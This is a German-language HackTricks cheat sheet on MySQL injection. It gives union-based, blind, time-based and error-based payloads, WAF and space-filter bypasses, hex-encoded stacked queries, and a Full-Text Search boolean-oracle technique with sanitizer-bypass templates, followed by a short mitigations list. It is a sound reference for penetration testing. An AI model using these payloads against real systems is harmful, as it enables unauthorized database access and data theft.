MySQL injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Kommentare
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interessante Funktionen
Confirm Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Nützliche Funktionen
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Alle injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
von https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Ablauf
Denke daran, dass du in “modernen” Versionen von MySQL information_schema.tables anstelle von mysql.innodb_table_stats verwenden kannst (Dies kann nützlich sein, um WAFs zu umgehen).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Nur 1 Wert
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Anzahl der Spalten ermitteln
Mit einem einfachen ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Erfahre hier verschiedene Optionen, abuse a Mysql injection to obtain a SSRF.
WAF-Bypass-Tricks
Abfragen über Prepared Statements ausführen
Wenn stacked queries erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variable die hexadezimale Darstellung der Abfrage, die man ausführen möchte, zuweist (mit SET) und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um die Abfrage letztlich auszuführen. Etwa so:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Für weitere Informationen siehe bitte this blog post.
Information_schema Alternativen
Beachte, dass in „modernen“ Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder sys.x$schema_flattened_keys oder sys.schema_table_statistics ersetzt werden kann
MySQLinjection ohne Kommas
Select 2 Spalten, ohne ein Komma zu verwenden (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Werte ohne Spaltennamen abrufen
Wenn du den Namen der Tabelle kennst, aber nicht die Namen der Spalten in der Tabelle, kannst du versuchen herauszufinden, wie viele Spalten vorhanden sind, indem du etwas wie Folgendes ausführst:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere das flag, kannst du versuchen, den Inhalt von flag Zeichen für Zeichen zu bruteforce:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Mehr Infos unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection ohne SPACES (/**/ comment trick)
Einige Anwendungen bereinigen oder parsen Benutzereingaben mit Funktionen wie sscanf("%128s", buf), die bereits beim ersten Leerzeichen stoppen.
Da MySQL die Sequenz /**/ sowohl als Kommentar als auch als whitespace behandelt, kann sie verwendet werden, um normale Leerzeichen aus dem payload vollständig zu entfernen und gleichzeitig die Abfrage syntaktisch gültig zu halten.
Beispiel einer time-based blind injection, die den Space-Filter umgeht:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
die von der Datenbank empfangen wird als:
' OR SLEEP(5)-- -'
Das ist besonders nützlich, wenn:
- Der kontrollierbare Puffer in der Größe eingeschränkt ist (z. B.
%128s) und Leerzeichen die Eingabe vorzeitig beenden würden. - Beim Injizieren über HTTP-Header oder andere Felder, in denen normale Leerzeichen entfernt oder als Trenner verwendet werden.
- In Kombination mit
INTO OUTFILE-Primitiven, um eine vollständige pre-auth RCE zu erreichen (siehe den Abschnitt MySQL File RCE).
MySQL-Historie
Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle lesen: sys.x$statement_analysis
Versionsalternativen
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Dies ist keine klassische SQL injection. Wenn Entwickler Benutzereingaben in MATCH(col) AGAINST('...' IN BOOLEAN MODE) übergeben, führt MySQL innerhalb des angeführten Strings eine Vielzahl von Boolean-Suchoperatoren aus. Viele WAF/SAST-Regeln konzentrieren sich nur auf das Durchbrechen von Anführungszeichen und übersehen diese Angriffsfläche.
Key points:
- Operatoren werden innerhalb der Anführungszeichen ausgewertet:
+(muss enthalten sein),-(darf nicht enthalten sein),*(Suffix-Wildcard),"..."(exakter Ausdruck),()(Gruppierung),</>/~(Gewichtungen). Siehe MySQL-Dokumentation. - Dies erlaubt Präsenz-/Absenz- und Präfix-Tests, ohne aus dem String-Literal auszubrechen, z. B.
AGAINST('+admin*' IN BOOLEAN MODE), um zu prüfen, ob ein Begriff mitadminbeginnt. - Nützlich, um oracles wie „does any row contain a term with prefix X?“ zu bauen und um versteckte strings via prefix expansion zu enumerieren.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Wenn die Anwendung unterschiedliche Antworten zurückgibt, je nachdem ob das result set leer ist (z. B. redirect vs. error message), wird dieses Verhalten zu einem Boolean oracle, das zum Enumerieren privater Daten wie versteckter/gelöschter Titel genutzt werden kann.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$), submitprefix*ZZ. The cleaner trims theZZbut leaves the*, soprefix*survives. - Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26ist&,%2Bist+. Das anhängendexD(oder beliebige zwei Buchstaben) wird vom Cleaner entfernt, wobei{FUZZ}*erhalten bleibt.- Behandle eine Weiterleitung als “match” und eine Fehlerseite als “no match”. Folge Weiterleitungen nicht automatisch, damit das Oracle beobachtbar bleibt.
Enumeration workflow:
- Beginne mit
{FUZZ} = a…z,0…9, um Übereinstimmungen des ersten Zeichens mittels+a*,+b*, … zu finden. - Für jedes positive Präfix verzweigen:
a* → aa* / ab* / …. Wiederholen, um die gesamte Zeichenkette wiederherzustellen. - Verteile Anfragen (Proxies, mehrere Accounts), falls die App Flood-Control durchsetzt.
Why titles often leak while contents don’t:
- Manche Apps wenden Sichtbarkeitsprüfungen erst nach einem vorläufigen MATCH auf Titel/Betreff an. Wenn der Control-Flow vom Ergebnis “any results?” vor dem Filtern abhängt, entstehen existence leaks.
Mitigations:
- Wenn du keine Boolean-Logik brauchst, verwende
IN NATURAL LANGUAGE MODEoder behandle Benutzereingaben als Literal (Escapen/Quoten deaktiviert Operatoren in anderen Modi). - Falls Boolean mode erforderlich ist, entferne oder neutralisiere alle Boolean-Operatoren (
+ - * " ( ) < > ~) für jedes Token (keine vorzeitigen Abbrüche) nach der Tokenisierung. - Wende Sichtbarkeits-/Autorisierungsfilter vor MATCH an, oder vereinheitliche Antworten (konstante Dauer/Status), wenn das Ergebnis-Set leer vs. nicht-leer ist.
- Prüfe analoge Funktionen in anderen DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSparsen ebenfalls Operatoren innerhalb zitierter Argumente.
Notes:
- Prepared statements schützen nicht vor semantischem Missbrauch von
REGEXPoder Suchoperatoren. Eine Eingabe wie.*bleibt ein permissiver Regex selbst innerhalb eines zitiertenREGEXP '.*'. Verwende Allow-Lists oder explizite Guards.
Error-based exfiltration via updatexml()
Wenn die Anwendung nur SQL-Fehler zurückgibt (nicht rohe Ergebnis-Sets), kannst du Daten durch MySQL-Fehlerstrings leak:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() wirft einen XPATH-Fehler, der die konkatenierte Zeichenfolge einbettet, sodass der Wert aus dem inneren SELECT in der Fehlermeldung zwischen Trennzeichen (0x7e = ~) erscheint. Iteriere LIMIT 1 OFFSET N, um Zeilen zu enumerieren. Das funktioniert selbst, wenn die UI “boolean” Tests erzwingt, weil die Fehlermeldung weiterhin angezeigt wird.
Weitere MYSQL injection-Anleitungen
Referenzen
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


